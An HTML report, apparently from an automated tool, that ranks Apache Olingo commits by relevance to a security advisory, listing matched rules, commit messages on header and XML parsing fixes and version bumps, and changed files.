    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + COMMIT_IS_SECURITY_RELEVANT + + +
    +
    +
    +
    + + + + +
    +
    +
    + 98d445a87447a5424cf5405a559708323f94d94f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      +
    • + +
    • +
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: header
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1411
      +
    • + +
    • +
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1411] Better header parsing * [OLINGO-1411] Better header parsing
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncBatchRequestWrapperImpl.java + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1411] Fixed typo + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 22 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b81bc23a54ecc6e3e190fb044fcff52c218541f3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      +
    • + +
    • +
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1411
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1411] Fixed typo
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1408] Applied code formatter + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 22 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 302f991e5bc36b5ac84a63d059d049e7a2a63f76 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: AsyncRequestWrapperImpl
      +
    • + +
    • +
      The commit changes some relevant files: lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1408
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1408] Applied code formatter
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDate.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmTimeOfDay.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1418] Set version to next SNAPSHOT + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cb6a7ce34624b7819adca3f4918bf9713f55ec0c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1418
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1418] Set version to next SNAPSHOT
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1418] Set version to 4.7.1 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dd944cd1816c587ebda87d46b7854a7c5759e916 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1418
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1418] Set version to 4.7.1
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1418] Set version to 4.7.1-RC01 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 53e98faf348084c77b8f8b9ff2afde1c11f91a2b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1418
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1418] Set version to 4.7.1-RC01
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1406] Set version to next SNAPSHOT + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1adc394ba96495af0739ada5e50139fb3cd37ac2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1406
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1406] Set version to next SNAPSHOT
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1406] Set version to 4.7.0 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 531e5bb8eed80ec9459bff25002dd4f29a50683d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1406
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1406] Set version to 4.7.0
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1406] Set version to 4.7.0-RC01 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3254ebdbd6a3709a0397308574ab99f3d92993a2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server, client, read
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1406
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1406] Set version to 4.7.0-RC01
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dist/android-lib/pom.xml + + dist/client-lib/pom.xml + + dist/javadoc/pom.xml + + dist/pom.xml + + dist/server-lib-ext/pom.xml + + dist/server-lib/pom.xml + + ext/client-android/pom.xml + + ext/client-proxy/pom.xml + + ext/karaf/karaf-features/pom.xml + + ext/karaf/karaf-fit/pom.xml + + ext/karaf/pom.xml + + ext/pojogen-maven-plugin/pom.xml + + ext/pom.xml + + fit/pom.xml + + lib/client-api/pom.xml + + lib/client-core/pom.xml + + lib/commons-api/pom.xml + + lib/commons-core/pom.xml + + lib/pom.xml + + lib/server-api/pom.xml + + lib/server-core-ext/pom.xml + + lib/server-core/pom.xml + + lib/server-tecsvc/pom.xml + + lib/server-test/pom.xml + + pom.xml + + samples/client/pom.xml + + samples/osgi/server/pom.xml + + samples/pom.xml + + samples/server/pom.xml + + samples/tutorials/p0_all/pom.xml + + samples/tutorials/p10_media/pom.xml + + samples/tutorials/p11_batch/pom.xml + + samples/tutorials/p12_deep_insert/pom.xml + + samples/tutorials/p12_deep_insert_preparation/pom.xml + + samples/tutorials/p1_read/pom.xml + + samples/tutorials/p2_readep/pom.xml + + samples/tutorials/p3_write/pom.xml + + samples/tutorials/p4_navigation/pom.xml + + samples/tutorials/p5_queryoptions-tcs/pom.xml + + samples/tutorials/p6_queryoptions-es/pom.xml + + samples/tutorials/p7_queryoptions-o/pom.xml + + samples/tutorials/p8_queryoptions-f/pom.xml + + samples/tutorials/p9_action/pom.xml + + samples/tutorials/p9_action_preparation/pom.xml + + samples/tutorials/pe_streaming/pom.xml + + samples/tutorials/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + OLINGO-999 | Ensuring that payloadManager is closing... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cb50f9b769f87ab83549ce20fdc7cf9560b1b732 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: client
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: request, client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-999
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      OLINGO-999 | Ensuring that payloadManager is closing PipedInputStream in case that http client leaked that. Signed-off-by: Bogdan Ilies <bogdan.ilies@mulesoft.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/streamed/AbstractODataStreamedRequest.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1410] Better XMLMetadata parsing * [OLINGO-1410] Better... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db50f59689155d8055e268863689771c3536d0e0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: class, allow
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: client
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1410
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1410] Better XMLMetadata parsing * [OLINGO-1410] Better XMLMetadata parsing * Minor change in DEFAULT_ALLOWED_CLASSES handling * Applied code-formatter
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ext/client-proxy/src/main/java/org/apache/olingo/ext/proxy/AbstractService.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1409] Better XML parsing + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c3f982db3d97e395d313ae8f231202bb2139882c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The bug tracking ticket OLINGO-1409 contains some security-related terms: secure
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: read, client, server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1409
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1409] Better XML parsing
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + fit/src/main/java/org/apache/olingo/fit/metadata/Metadata.java + + fit/src/main/java/org/apache/olingo/fit/utils/XMLEventReaderWrapper.java + + fit/src/main/java/org/apache/olingo/fit/utils/XMLUtilities.java + + lib/client-core/src/main/java/org/apache/olingo/client/core/serialization/AtomDeserializer.java + + lib/server-core-ext/src/main/java/org/apache/olingo/server/core/MetadataParser.java + + lib/server-core/src/main/java/org/apache/olingo/server/core/deserializer/xml/ODataXmlDeserializer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1409] XML serializer defaults + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_LINKED_BUG + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5948974ad28271818e2afe747c71cde56a7f2c63 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The bug tracking ticket OLINGO-1409 contains some security-related terms: secure
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1409
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1409] XML serializer defaults
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/server-core-ext/src/main/java/org/apache/olingo/server/core/MetadataParser.java + + lib/server-core/src/main/java/org/apache/olingo/server/core/deserializer/xml/ODataXmlDeserializer.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1406] added some toString() methods (#26) General and minor... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2df6c1779974ea5dbd8515caed17d404152c4b29 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1406
      +
    • + +
    • +
      The commit message references some github issue: 26
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1406] added some toString() methods (#26) General and minor improvement during release
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lib/commons-api/src/main/java/org/apache/olingo/commons/api/data/EntityCollection.java + + lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/AbstractEdmNamed.java + + lib/server-core/src/main/java/org/apache/olingo/server/core/uri/UriParameterImpl.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #55 from danielfernandez/olingo-1395... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a110e092033943ab1d1b55bbe737f5890ba55ab6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: request
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1395
      +
    • + +
    • +
      The commit message references some github issue: 55
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #55 from danielfernandez/olingo-1395 [OLINGO-1395] Fixed parsing error when ReturnType contains Annotation
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #28 from ninckblokje/master [OLINGO-1114] Test +... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 820b462f4957ee1e547f21de712c394c5eb159b9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: request
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1114
      +
    • + +
    • +
      The commit message references some github issue: 28
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #28 from ninckblokje/master [OLINGO-1114] Test + fix for NULL value type
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #62 from apache/OLINGO-1408 [Olingo 1408] Java 8... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ca876f1fb99b224369fb27056d462e22cec8700d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: request
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1408
      +
    • + +
    • +
      The commit message references some github issue: 62
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #62 from apache/OLINGO-1408 [Olingo 1408] Java 8 DateTime API support by Olingo
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [OLINGO-1408] Support new date time API (#57) * Fix usage of... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: 4.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 932af8fb5d68efe67fb6040dc697852173435437 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: make, call, read, version, implement, allow
      +
    • + +
    • +
      The commit message references some bug tracking ticket: OLINGO-1408
      +
    • + +
    • +
      The commit message references some github issue: 57
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [OLINGO-1408] Support new date time API (#57) * Fix usage of Calendar in tests The tests use Calendar instances. For some test cases the time zone of a Calendar instance is changed and then passed to the valueToString method. Unfortunately after just changing the time zone the Calendar only changes the time zone but not the value of the calculated fields like YEAR, MONTH, ... . These fields are recalculated only if they are read by get(YEAR), get(MONTH), ... . The implementation of valueToString clones the Calendar instance before fields are computed resulting in a corrupt clone. This change 1) makes sure that the test the fields in the Calendar instances used in the tests are computed 2) makes sure that the valueToString method triggers a computation of the fields before cloning the Calendar * Support types of new Date/Time API The types of the new Date/Time API can now be used as property values. The following mappings are now supported EdmDateTimeOffset - java.time.Instant - java.time.ZonedDateTime 